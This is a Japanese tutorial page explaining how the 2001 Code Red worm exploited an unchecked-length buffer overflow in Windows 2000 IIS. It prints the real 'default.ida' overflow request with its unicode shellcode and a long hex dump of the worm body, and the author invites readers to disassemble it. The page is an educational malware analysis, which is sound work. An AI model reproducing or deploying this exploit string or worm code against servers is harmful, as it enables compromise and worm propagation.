分かりやす〜い
コンピュータ技術情報

TOPに戻る
▼Virus
Code REDウィルスとは?
┣ マイクロソフトの説明
┃ とIIS機能

┣ アプリケーションソフ
┃ トは機能の寄集め

┣ 呼出・復帰時に行わ
┃ れる事

┣ 復帰の場所を変え
┃ てみると・・

┣ 感染したCode R
┃ EDは何を行うか

┣ 異常データをサーバ
┃ ーのバッファに格納

┣ プロセッサの保護機
┃ 能

┣ ウィルスの場所を特
┃ 定する

┣ウィルスコードを実
┃ 行する

┣ CodeREDの正体1
┗ CodeREDの正体2

Copyright(C) 2001-2002.ugpop. All rights reserved.




■デジタル用語辞典:

▲このページの上へ

■ Code REDの正体 Part1 ■

今回からCode REDの正体と題して、新しい講座をスタートさせ
ます。というか、もう「最近流行の〜」という講座名も変かな、
と思っただけなんですけど・・・^^;)

==質問コーナー==
突然ですがCode RED講座についての質問に回答したいと思いま
す。ちゃんと読んでくれているんだな、と思って嬉しくなりま
した。

 Q.CodeRed というのは IIS のみのセキュリティホールを
   つくウィルスだと聞きました。
   確かにウチの会社では netscape server を使用してい
   ます。
   ログにメルマガで見たような GET 文が残っていたけれ
   ども、特に影響はなかったようです。

   これは IIS の GET/POST をやり取りするバッファが他
   のサーバに比べて短く設定されているのでオーバーフロ
   ーを起こしてしまう、と考えても良いのですか?
   それとも全然違う問題なのでしょうか?

 A.まず、バッファオーバーフローというのは、何かの設定
   で発生したりしなかったりするものではなく、プログラ
   ムのバグが原因で発生します。
   マイクロソフトWINDOWS2000のIIS機能の部分にこのバグ
   が存在しています。ですので、Code REDウィルスに感染
   してしまうコンピュータの条件は、WINDOWS2000を動作
   させていて、かつIIS機能を動作させている事が条件と
   なります。
   (もちろん、このバグに対するパッチがマイクロソフト
   から公開されていますので、これを当てていれば感染し
   てしまう事はありません。)
   
   例えば、以下のように書くと分かりやすいでしょうか。
   
   良い例)
   ◎正しい処理を行うサーバーの場合
    1.サーバー機能で使っているバッファ(200文字入る)
    ┌───────────┐            
    │     空     │            
    └───────────┘            
    2.長いリクエスト(300文字)           
     GET ・・・・・・・・・・・・・・・       
    3.長さチェック(重要)              
    4.長すぎるのでGET ・・・・・・・・・・・・・・・
      はバッファに格納せずに捨てる。        
                             
   悪い例)
   ×マイクロソフトWINDOWS2000のIIS機能の場合
    1.IIS機能で使っているバッファ(200文字入る)   
    ┌───────────┐            
    │     空     │            
    └───────────┘            
    2.長いリクエスト(300文字)           
     GET ・・・・・・・・・・・・・・・       
    3.なんか長いみたいだけど無理矢理バッファに入れ 
      てしまおう。                 
    ┌───────────┐××××××      
    │GET ・・・・・・・・・・・・・・・×      
    └───────────┘××××××      
                             
   良い例では3項で長さチェックを行なっているのですが、
   悪い例では長さチェックが行われていません。
   この「長さチェックを行わない」というのがバグです。
   このように長すぎる情報を無理矢理入れようとしてしま
   い、大切な情報が入っている部分までも上書きしてしま
   うのです。
   
   また、良い例)を以下のようにしても正常に処理が行わ
   れるでしょう。
   
   良い例(その2)
   ◎正しい処理を行うサーバーの場合
    1.サーバー機能で使っているバッファ(200文字入る)
    ┌───────────┐            
    │     空     │            
    └───────────┘            
    2.長いリクエスト(300文字)           
     GET ・・・・・・・・・・・・・・・       
    3.長さチェック(重要)              
    4.長すぎるのでバッファを広げます。(400文字入る)
    ┌───────────────────┐    
    │     空             │    
    └───────────────────┘    
    5.入れられる大きさになったのでバッファに格納し
      ます。
    ┌───────────────────┐    
    │GET ・・・・・・・・・・・・・・・  │    
    └───────────────────┘    
   
   良い例のいずれの場合も、必ず「長さチェックを行って
   いる」という事が言えます。
   そして、バッファが短ければそれに対応した正しい処理
   を行っています。
   
   つまり、長さチェックを行い、バッファの決められた長
   さをはみださないように使えば良いのです。
   
   御質問のように「IIS の GET/POST をやり取りするバッ
   ファが他のサーバに比べて短く設定されているのでオー
   バーフローを起こしてしまう・・・」
   というよりは、「IIS の GET/POST の長さチェックが正
   常に行われない為にオーバーフローを起こしてしまう」
   と考えた方が良いでしょう。
   
   いずれにしても、御質問の方はマイクロソフトのIIS機
   能を使用しているわけではないそうなのでCode REDにつ
   いては感染する心配はありません。
   
   また、ログに GET/POSTのログが残っているという事で
   すが、これこそCode REDに感染していないという証拠で
   すよ。
   Code REDに感染してしまえば異常な動作が開始されるの
   でログには残らなくなってしまうのです。。
   
   以上、お分かり頂けたでしょうか?

==長くなってしまいましたが質問コーナー終わり==

本題に戻ります。今回はCode REDの正体を明かします。

まず、IIS機能に正常なリクエストが来た場合のバッファの中
身を見てみましょう。

正常なリクエスト:GET / HTTP/1.0

    バッファ   
┌─────────┐
│GET / HTTP/1.0  │←正常にバッファに格納される。
│         │
│         │
├─────────┤←────限界点(ここから上がIIS
│WINDOWS2000の場所 │     機能が使っても良い場所)
└─────────┘
     ・     
     ・     
     ・     
     ・     
     ・     
     ・     
     ・     
┌─────────┐
│アプリケーション │
│ソフトが異常終了 │
│した時に動作する │
│プログラムの場所 │
└─────────┘
     ・     
     ・     
     ・     
     ・     
     ・     
     ・     
     ・     
┌─────────┐
│WINDOWS2000が使用 │
│するその他情報等 │
│         │
└─────────┘

上記図では分かりやすくする為に文字をそのまま表記してあり
ますが、実際はUNICODEという文字コードでバッファに格納さ
れます。

次に、IIS機能に不正なリクエストが来た場合のバッファの中
身を見てみましょう。

不正なリクエスト:
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u68
58%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u819
0%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

    バッファ   
┌─────────┐
│GET /default.ida? │←バッファが一杯になる。
│NNNNNNNNNNNNNNNNN │
│NNNNNNNNNNNNNNNNN │    ┌─────────────┐
├─────────┤←───┤限界点(ここから上がIIS機 │
│    NN    │←─┐ │能が使っても良い場所)  │
└─────────┘  │ │UNICODEで格納する際、リク │
     ・       │ │エストの長さチェックが行わ│
     ・       │ │れない為、バッファがオーバ│
     ・       │ │ーフローしてここから下にも│
     ・       │ │不正なリクエストが格納され│
     ・       │ │てしまう。        │
     ・       │ └─────────────┘
     ・       │ ┌─────────────┐
┌─────────┐  └─┤WINDOWS2000へ復帰する場所 │
│         │    │が格納されているはずだが、│
│         │    │異常な値となってしまう。 │
│ %u7801 %ucbd3  │←─┐ │ここに制御を移そうとした │
│         │  │ │時点でプロセッサの保護機能│
└─────────┘  │ │が動作する。       │
     ・       │ └─────────────┘
     ・       │ ┌─────────────┐
     ・       └─┤アプリケーションソフトが │
     ・         │異常終了した時に動作する │
     ・         │プログラムの場所が格納さ │
     ・         │れているはずだが、ここは │
     ・         │「EBXを呼出す」命令が格納 │
┌─────────┐    │されているOS内部の場所に │
│         │    │書換えられる。      │
│ ウィルス本体  │    └─────────────┘
│         │    
└─────────┘    
               

上の図の一番下の箱の中にウィルス本体が格納されています。
ここもバッファオーバーフロー発生時にウィルスのコードが書
き込まれてしまうのです。

しかし、上に示した「不正なリクエスト」の文字列の中には
「ウィルス本体」は含まれておりません。

実は、「不正なリクエスト」に続けて以下のようなデータが
送信されます。
ちょっと長いですのでサッと下の方にスクロールして流し見し
て下さい。

55 8B EC 81 EC 18 02 00 00 53 56 57 8D BD E8 FD FF FF
B9 86 00 00 00 B8 CC CC CC CC F3 AB C7 85 70 FE FF FF
00 00 00 00 E9 0A 0B 00 00 8F 85 68 FE FF FF 8D BD F0
FE FF FF 64 A1 00 00 00 00 89 47 08 64 89 3D 00 00 00
E9 6F 0A 00 00 8F 85 60 FE FF FF C7 85 F0 FE FF FF 8B
85 68 FE FF FF 83 E8 07 89 85 F4 FE FF FF C7 85 58 FE
FF FF 00 00 E0 77 E8 9B 0A 00 00 83 BD 70 FE FF FF 0F
85 DD 01 00 00 8B 8D 58 FE FF FF 81 C1 00 00 01 00 89
8D 58 FE FF FF 81 BD 58 FE FF FF 75 0A C7 85 58 FE FF
FF 8B 95 58 FE FF FF 33 C0 66 8B 02 3D 4D 5A 00 00 0F
85 9A 01 00 00 8B 8D 58 FE FF FF 8B 51 3C 8B 85 58 FE
FF FF 33 C9 66 8B 0C 10 81 F9 50 45 00 00 0F 85 79 01
00 00 8B 95 58 FE FF FF 8B 42 3C 8B 8D 58 FE FF FF 8B
54 01 78 03 95 58 FE FF FF 89 95 54 FE FF FF 8B 85 54
FE FF FF 8B 48 0C 03 8D 58 FE FF FF 89 8D 4C FE FF FF
8B 95 4C FE FF FF 81 3A 4B 45 52 4E 0F 85 33 01 00 00
8B 85 4C FE FF FF 81 78 04 45 4C 33 0F 85 20 01 00 00
8B 8D 58 FE FF FF 89 8D 34 FE FF FF 8B 95 54 FE FF FF
8B 85 58 FE FF FF 03 42 20 89 85 4C FE FF FF C7 85 48
FE FF FF EB 1E 8B 8D 48 FE FF FF 83 C1 01 89 8D 48 FE
FF FF 8B 95 4C FE FF FF 83 C2 04 89 95 4C FE FF FF 8B
85 54 FE FF FF 8B 8D 48 FE FF FF 3B 48 18 0F 8D C0 00
00 00 8B 95 4C FE FF FF 8B 02 8B 8D 58 FE FF FF 81 3C
01 47 65 74 0F 85 A0 00 00 00 8B 95 4C FE FF FF 8B 02
8B 8D 58 FE FF FF 81 7C 01 04 72 6F 0F 85 84 00 00 00
8B 95 48 FE FF FF 03 95 48 FE FF FF 03 95 58 FE FF FF
8B 85 54 FE FF FF 8B 48 24 33 C0 66 8B 04 0A 89 85 4C
FE FF FF 8B 8D 54 FE FF FF 8B 51 10 8B 85 4C FE FF FF
8D 4C 10 FF 89 8D 4C FE FF FF 8B 95 4C FE FF FF 03 95
4C FE FF FF 03 95 4C FE FF FF 03 95 4C FE FF FF 03 95
58 FE FF FF 8B 85 54 FE FF FF 8B 48 1C 8B 14 0A 89 95
4C FE FF FF 8B 85 4C FE FF FF 03 85 58 FE FF FF 89 85
70 FE FF FF EB 05 E9 0D FF FF FF E9 16 FE FF FF 8D BD
F0 FE FF FF 8B 47 08 64 A3 00 00 00 00 83 BD 70 FE FF
FF 75 05 E9 38 08 00 00 C7 85 4C FE FF FF EB 0F 8B 8D
4C FE FF FF 83 C1 01 89 8D 4C FE FF FF 8B 95 68 FE FF
FF 0F BE 02 85 C0 0F 84 8D 00 00 00 8B 8D 68 FE FF FF
0F BE 11 83 FA 09 75 21 8B 85 68 FE FF FF 83 C0 01 8B
F4 50 FF 95 90 FE FF FF 3B F4 90 43 4B 43 4B 89 85 34
FE FF FF EB 2A 8B F4 8B 8D 68 FE FF FF 51 8B 95 34 FE
FF FF 52 FF 95 70 FE FF FF 3B F4 90 43 4B 43 4B 8B 8D
4C FE FF FF 89 84 8D 8C FE FF FF EB 0F 8B 95 68 FE FF
FF 83 C2 01 89 95 68 FE FF FF 8B 85 68 FE FF FF 0F BE
08 85 C9 74 02 EB E2 8B 95 68 FE FF FF 83 C2 01 89 95
68 FE FF FF E9 53 FF FF FF 8B 85 68 FE FF FF 83 C0 01
89 85 68 FE FF FF 8B 4D 08 8B 91 84 00 00 00 89 95 6C
FE FF FF C7 85 4C FE FF FF C6 85 D0 FE FF FF 68 8B 45
08 89 85 D1 FE FF FF C7 85 D5 FE FF FF C7 85 D9 FE FF
FF 8B 4D 08 8B 51 10 89 95 50 FE FF FF 83 BD 50 FE FF
FF 75 26 8B F4 6A 00 8D 85 4C FE FF FF 50 8B 8D 68 FE
FF FF 51 8B 55 08 8B 42 08 50 FF 95 6C FE FF FF 3B F4
90 43 4B 43 4B 83 BD 50 FE FF FF 7D 5C 8B 8D 50 FE FF
FF 83 C1 01 89 8D 50 FE FF FF 8B 95 50 FE FF FF 69 D2
8D 66 F0 50 89 95 74 FE FF FF 8B 45 08 8B 8D 50 FE FF
FF 89 48 10 8B F4 8D 95 2C FE FF FF 52 6A 00 8D 85 4C
FE FF FF 50 8D 8D D0 FE FF FF 51 6A 00 6A 00 FF 95 98
FE FF FF 3B F4 90 43 4B 43 4B E9 9F 01 00 00 8B F4 FF
95 A4 FE FF FF 3B F4 90 43 4B 43 4B 89 85 4C FE FF FF
8B 95 4C FE FF FF 81 E2 FF FF 00 00 89 95 4C FE FF FF
81 BD 4C FE FF FF 74 05 E9 67 01 00 00 8B F4 68 00 DD
6D 00 FF 95 A0 FE FF FF 3B F4 90 43 4B 43 4B E9 80 06
00 00 8F 85 4C FE FF FF 8B 85 34 FE FF FF 89 85 CC FE
FF FF 8B 8D 4C FE FF FF 8B 95 B0 FE FF FF 89 11 8B 85
4C FE FF FF 8B 8D C8 FE FF FF 89 48 04 8B 95 68 FE FF
FF 89 95 50 FE FF FF EB 0F 8B 85 50 FE FF FF 83 C0 01
89 85 50 FE FF FF 8B 8D 68 FE FF FF 81 C1 00 01 00 00
39 8D 50 FE FF FF 73 12 8B 95 50 FE FF FF 81 3A 4C 4D
54 48 75 02 EB 02 EB CB 8B 85 50 FE FF FF 83 C0 04 8B
8D 4C FE FF FF 89 41 08 8B F4 8D 95 48 FE FF FF 52 6A
04 68 00 40 00 00 8B 85 CC FE FF FF 50 FF 95 A8 FE FF
FF 3B F4 90 43 4B 43 4B C7 85 4C FE FF FF EB 0F 8B 8D
4C FE FF FF 83 C1 01 89 8D 4C FE FF FF 81 BD 4C FE FF
FF 7D 56 8B 95 CC FE FF FF 03 95 4C FE FF FF 8B 02 3B
85 B0 FE FF FF 75 3E 8B 8D CC FE FF FF 03 8D 4C FE FF
FF 8B 95 60 FE FF FF 89 11 8B F4 68 00 51 25 02 FF 95
A0 FE FF FF 3B F4 90 43 4B 43 4B 8B 85 CC FE FF FF 03
85 4C FE FF FF 8B 8D B0 FE FF FF 89 08 EB 02 EB 8F 8B
F4 8D 95 4C FE FF FF 52 8B 85 48 FE FF FF 50 68 00 40
00 00 8B 8D CC FE FF FF 51 FF 95 A8 FE FF FF 3B F4 90
43 4B 43 4B BA 01 00 00 00 85 D2 0F 84 E7 04 00 00 8B
F4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00
80 8B 85 68 FE FF FF 83 C0 63 50 FF 95 9C FE FF FF 3B
F4 90 43 4B 43 4B 89 85 30 FE FF FF 83 BD 30 FE FF FF
74 1F B9 01 00 00 00 85 C9 74 16 8B F4 68 FF FF FF 7F
FF 95 A0 FE FF FF 3B F4 90 43 4B 43 4B EB E1 8B F4 8D
95 38 FE FF FF 52 FF 95 94 FE FF FF 3B F4 90 43 4B 43
4B 8B 85 3E FE FF FF 89 85 4C FE FF FF 8B 8D 4C FE FF
FF 81 E1 FF FF 00 00 89 8D 4C FE FF FF 83 BD 4C FE FF
FF 0F 8C 47 01 00 00 BA 01 00 00 00 85 D2 0F 84 3A 01
00 00 8B F4 8D 85 38 FE FF FF 50 FF 95 94 FE FF FF 3B
F4 90 43 4B 43 4B 8B 8D 3E FE FF FF 89 8D 4C FE FF FF
8B 95 4C FE FF FF 81 E2 FF FF 00 00 89 95 4C FE FF FF
83 BD 4C FE FF FF 7C 1F B8 01 00 00 00 85 C0 74 16 8B
F4 68 FF FF FF 7F FF 95 A0 FE FF FF 3B F4 90 43 4B 43
4B EB E1 8B F4 6A 64 FF 95 A0 FE FF FF 3B F4 90 43 4B
43 4B 8B F4 6A 00 6A 01 6A 02 FF 95 B8 FE FF FF 3B F4
90 43 4B 43 4B 89 85 78 FE FF FF 66 C7 85 7C FE FF 66
C7 85 7E FE FF C7 85 80 FE FF FF 8B F4 6A 10 8D 8D 7C
FE FF FF 51 8B 95 78 FE FF FF 52 FF 95 BC FE FF FF 3B
F4 90 43 4B 43 4B C7 85 4C FE FF FF EB 0F 8B 85 4C FE
FF FF 83 C0 01 89 85 4C FE FF FF 81 BD 4C FE FF FF 7D
37 8B F4 68 E8 03 00 00 FF 95 A0 FE FF FF 3B F4 90 43
4B 43 4B 8B F4 6A 00 6A 01 8D 8D FC FE FF FF 51 8B 95
78 FE FF FF 52 FF 95 C0 FE FF FF 3B F4 90 43 4B 43 4B
EB AE 8B F4 68 00 00 00 01 FF 95 A0 FE FF FF 3B F4 90
43 4B 43 4B E9 B9 FE FF FF 8B 85 44 FE FF FF 89 85 50
FE FF FF 8B 8D 50 FE FF FF 0F AF 8D 50 FE FF 69 C9 E3
59 CD 00 8B 95 50 FE FF FF 69 D2 B9 E1 01 00 8B 85 74
FE FF FF 03 C1 03 D0 89 95 50 FE FF FF 8B 8D 74 FE FF
FF 69 C9 83 33 CF 00 81 C1 53 FE 6B 07 89 8D 74 FE FF
FF 8B 95 74 FE FF FF 81 E2 FF 00 00 00 89 95 50 FE FF
FF 83 BD 50 FE FF FF 74 0C 81 BD 50 FE FF FF 75 11 8B
85 74 FE FF FF 05 A9 0D 02 00 89 85 74 FE FF FF 8B F4
6A 64 FF 95 A0 FE FF FF 3B F4 90 43 4B 43 4B 8B F4 6A
00 6A 01 6A 02 FF 95 B8 FE FF FF 3B F4 90 43 4B 43 4B
89 85 78 FE FF FF 66 C7 85 7C FE FF 66 C7 85 7E FE FF
8B 8D 74 FE FF FF 89 8D 80 FE FF FF 8B F4 6A 10 8D 95
7C FE FF FF 52 8B 85 78 FE FF FF 50 FF 95 BC FE FF FF
3B F4 90 43 4B 43 4B 85 C0 0F 85 EF 01 00 00 8B F4 6A
00 6A 04 8B 8D 68 FE FF FF 51 8B 95 78 FE FF FF 52 FF
95 C0 FE FF FF 3B F4 90 43 4B 43 4B C7 85 4C FE FF FF
8B 45 08 8B 48 68 89 8D 64 FE FF FF EB 1E 8B 95 64 FE
FF FF 83 C2 01 89 95 64 FE FF FF 8B 85 4C FE FF FF 83
C0 01 89 85 4C FE FF FF 8B 8D 64 FE FF FF 0F BE 11 85
D2 74 02 EB D3 8B F4 6A 00 8B 85 4C FE FF FF 50 8B 4D
08 8B 51 68 52 8B 85 78 FE FF FF 50 FF 95 C0 FE FF FF
3B F4 90 43 4B 43 4B 8B F4 6A 00 6A 01 8B 8D 68 FE FF
FF 83 C1 05 51 8B 95 78 FE FF FF 52 FF 95 C0 FE FF FF
3B F4 90 43 4B 43 4B C7 85 4C FE FF FF 8B 45 08 8B 48
64 89 8D 64 FE FF FF EB 1E 8B 95 64 FE FF FF 83 C2 01
89 95 64 FE FF FF 8B 85 4C FE FF FF 83 C0 01 89 85 4C
FE FF FF 8B 8D 64 FE FF FF 0F BE 11 85 D2 74 02 EB D3
8B F4 6A 00 8B 85 4C FE FF FF 50 8B 4D 08 8B 51 64 52
8B 85 78 FE FF FF 50 FF 95 C0 FE FF FF 3B F4 90 43 4B
43 4B C7 85 4C FE FF FF 8B 8D 68 FE FF FF 83 C1 07 89
8D 64 FE FF FF EB 1E 8B 95 64 FE FF FF 83 C2 01 89 95
64 FE FF FF 8B 85 4C FE FF FF 83 C0 01 89 85 4C FE FF
FF 8B 8D 64 FE FF FF 0F BE 11 85 D2 74 02 EB D3 8B F4
6A 00 8B 85 4C FE FF FF 50 8B 8D 68 FE FF FF 83 C1 07
51 8B 95 78 FE FF FF 52 FF 95 C0 FE FF FF 3B F4 90 43
4B 43 4B 8B 45 08 8B 48 70 89 8D 4C FE FF FF 8B F4 6A
00 8B 95 4C FE FF FF 52 8B 45 08 8B 48 78 51 8B 95 78
FE FF FF 52 FF 95 C0 FE FF FF 3B F4 90 43 4B 43 4B C6
85 FC FE FF FF 8B F4 6A 00 68 00 01 00 00 8D 85 FC FE
FF FF 50 8B 8D 78 FE FF FF 51 FF 95 C4 FE FF FF 3B F4
90 43 4B 43 4B 89 85 4C FE FF FF 8B F4 8B 95 78 FE FF
FF 52 FF 95 C8 FE FF FF 3B F4 90 43 4B 43 4B E9 0C FB
FF FF EB FE E8 8C F5 FF FF EB 30 58 83 C0 05 55 57 53
56 50 6A 3C 8B F0 83 C6 0C 56 68 00 01 00 00 FF 70 08
FF 74 24 28 FF 10 58 50 FF 74 24 18 FF 50 04 58 5E 5B
5F 5D FF 20 90 E8 CB FF FF FF E8 7B F9 FF FF EB F8 22
6E 84 32 03 75 B3 CA 5A 04 56 34 12 B8 78 56 34 12 B8
78 56 34 12 58 50 8B BD 68 FE FF FF 89 47 F2 C3 8B 44
24 0C 05 B8 00 00 00 C7 00 DA F1 CD 00 33 C0 C3 EB EC
E8 F1 F4 FF FF 4C 6F 61 64 4C 69 47 65 74 53 79 73 43
72 65 61 74 65 43 72 65 61 74 65 53 6C 65 65 70 00 47
65 74 53 79 73 56 69 72 74 75 61 09 69 6E 66 6F 63 6F
54 63 70 53 6F 63 09 57 53 32 5F 33 32 73 6F 63 6B 65
74 63 6F 6E 6E 65 63 73 65 6E 64 00 72 65 63 76 00 63
6C 6F 73 65 73 09 77 33 73 76 63 2E 00 47 45 54 20 00
3F 00 20 20 48 54 54 50 2F 31 2E 30 0D 0A 43 6F 6E 74
65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78 6D 6C
0A 48 63 3A 5C 6E 6F 74 4C 4D 54 48 0D 0A 3C 68 74 6D
6C 3E 3C 68 65 61 64 3E 3C 6D 65 74 61 20 68 74 74 70
2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 54 79
70 65 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F
68 74 6D 6C 3B 20 63 68

実はこれがウィルス本体です。
このデータが上の図の一番下の箱(ウィルス本体部)に格納さ
れます。

このコードをバイナリエディタ等で入力し、逆アセンブルする
と、ウィルスのアセンブリコードが姿を現します。

次回は逆アセンブルにかけた結果を紹介する予定です。



←前へ戻る    ▲このページの上へ    続きを読む→